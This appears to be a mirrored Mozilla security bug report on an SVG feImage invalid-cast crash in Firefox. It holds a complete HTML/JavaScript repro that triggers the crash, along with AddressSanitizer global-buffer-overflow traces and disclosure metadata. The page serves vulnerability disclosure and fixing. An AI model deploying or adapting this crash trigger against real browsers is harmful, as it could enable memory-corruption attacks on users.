invalid cast with svg feImage
- Fixed in 9 days
- Paid in 11 months
- Disclosed after 9 days
Created attachment 649751
repro case
I load:
<html>
<head>
<script>
onload = function() {
el0=document.createElementNS('http://www.w3.org/2000/svg', 'svg')
document.body.appendChild(el0)
el0.appendChild(document.createElementNS('http://www.w3.org/2000/svg', 'g'))
el1=document.createElementNS('http://www.w3.org/2000/svg', 'filter')
el1.setAttribute('id','f1')
el1.setAttribute('filterUnits', 'userSpaceOnUse')
el0.appendChild(el1)
el2=document.createElementNS('http://www.w3.org/2000/svg', 'feImage')
el1.appendChild(el2)
document.body.offsetTop
el2.setAttribute('filter', 'url(#f1)')
document.body.offsetTop
el2.appendChild(document.createElementNS('http://www.w3.org/2000/svg', 'g'))
}
</script>
</head>
<body>
</body>
</html>
and then this happens:
Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0 ??? 000000000000000000 0 + 0
1 XUL 0x000000010190240c nsSVGUtils::GetCanvasTM(nsIFrame*, unsigned int) + 204
2 XUL 0x00000001018e539d nsAutoFilterInstance::nsAutoFilterInstance(nsIFrame*, nsSVGFilterFrame*, nsSVGFilterPaintCallback*, nsRect const*, nsRect const*, nsRect const*, gfxRect const*) + 1245
--
==15809== ERROR: AddressSanitizer global-buffer-overflow on address 0x7ffff3dce6a0 at pc 0x7fffefa45527 bp 0x7fffffff5b00 sp 0x7fffffff5af8
READ of size 8 at 0x7ffff3dce6a0 thread T0
#0 0x7fffefa45527 in nsSVGUtils::GetCanvasTM(nsIFrame*, unsigned int) /builds/slave/try-lnx64/build/media/libvpx/vp8/encoder/x86/quantize_mmx.asm:0
0x7ffff3dce6a0 is located 0 bytes to the right of global variable 'vtable for SVGFEImageFrame (/builds/slave/try-lnx64/build/layout/svg/base/src/SVGFEImageFrame.cpp)' (0x7ffff3dce240) of size 1120
---
=================================================================
==19228== ERROR: AddressSanitizer global-buffer-overflow on address 0x00010a8b48a0 at pc 0x106318f2d bp 0x7fff5fbf6dc0 sp 0x7fff5fbf6db8
READ of size 8 at 0x00010a8b48a0 thread T0
#0 0x106318f2d in 0x01ee5f2d (in XUL)
0x00010a8b48a0 is located 0 bytes to the right of global variable '_ZTV15SVGFEImageFrame (/Users/.../firefox/layout/svg/base/src/SVGFEImageFrame.cpp)' (0x10a8b4440) of size 1
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A critical-severity security bug in SVG. Mozilla made it public on 17 August 2012.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.